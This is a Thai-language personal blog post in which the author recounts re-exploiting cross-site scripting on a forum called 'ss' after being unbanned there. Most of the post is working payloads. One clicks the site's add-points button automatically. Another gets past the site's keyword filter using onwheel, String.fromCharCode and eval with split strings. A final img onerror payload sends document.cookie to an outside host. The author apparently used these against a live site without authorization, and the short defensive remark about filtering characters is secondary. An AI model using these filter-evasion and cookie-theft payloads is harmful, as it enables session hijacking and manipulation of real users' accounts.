Archive

Archive for July, 2015

xss บน ss อีกละ ภาค 2

July 27th, 2015 Comments off

หลังจากผมโดนปลดแบนใน ss แน่นอนครับ ภารกิจอันดับแรกคือหาว่ายังทำ xss

บน ss ได้หรือเปล่า ผมลองวิธีเดิมครับ

x” onmouserover=document.getElementsByClassName(‘addpoint_button’)[0].click();//

ปรากฏว่าโปรแกรมเมอร์กรองคำว่า onmouse getElementsByClassName และ addpoint_button

ออกครับถ้าทำแบบด้านบนจะเหลือแค่ over=document.(”)[0].click();// ทำให้ code ทำงานไม่ได้ครับ

มันก็เลยเกิดคำถามว่าทำไมตอนที่เราทดสอบ xss เราต้องใช้ alert() แค่ function เดียวจะทำอะไรได้ ?

ผมก็ค้นจนเจอว่าจริงแล้ว function ที่ต้องกลัวคือ eval() ตัว eval จะรับเอา string มาแล้วรันเป็น code ครับ

ดังนั้นผมก็เลยปรับโค้ดเป็น

onwheel=”a=String.fromCharCode(39)+String.fromCharCode(97)+String.fromCharCode(100)
+String.fromCharCode(100)+String.fromCharCode(112)+String.fromCharCode(111)+
String.fromCharCode(105)+String.fromCharCode(110)+String.fromCharCode(116)+
String.fromCharCode(95)+String.fromCharCode(98)+String.fromCharCode(117)+
String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(111)
+String.fromCharCode(110)+String.fromCharCode(39);eval(‘document.ge’+’tElementsB’
+’yClassName(‘+a+’)[0].click()’);//

คือ ถ้า onmouse โดนบล๊อคก็เหลือ event อีกหลาย ๆ แบบ onwheel onerror ที่สามารถใช้งานได้

ถ้า string โดนกรองออกเราก็ใช้ eval หลบโดยการแยก string ออกเป็นส่วน ๆ

แบบนี้ document.ge’+’tElementsB’+’yClassName เพื่อหลบการกรองคำ หรือใช้ fromcharcode เพื่อหลบตัวอักษร

บางตัวก็ได้ครับ จริง ๆ ผมเรียนรู้อะไรเยอะจากครั้งนี้สรุปได้ดังนี้ครับ

– กรองคำบางคำออกไม่เวิร์คแน่ ๆ ต้องกรองพวก ‘ ” ( ) < > พวกนี้ออกจะแก้ได้ค่อนข้างแน่นอน

– ที่เวลาทดสอบทำ alert เพราะกลัว eval

– ถ้าเราสามารถทำ xss ได้แล้วเราสามารถแก้ไข html ที่จุดอื่น ๆ ได้ เช่น แก้ signnature ได้

จากจุดนี้เอาประยุกต์ใช้ได้หลายอย่าง

– ถ้าจะขโมย cookie จาก tag img ทำแบบนี้ครับ

<img src=x onerror=’new Image().src=”http:///?x=”+document.cookie’>

Categories: Security, XSS Tags: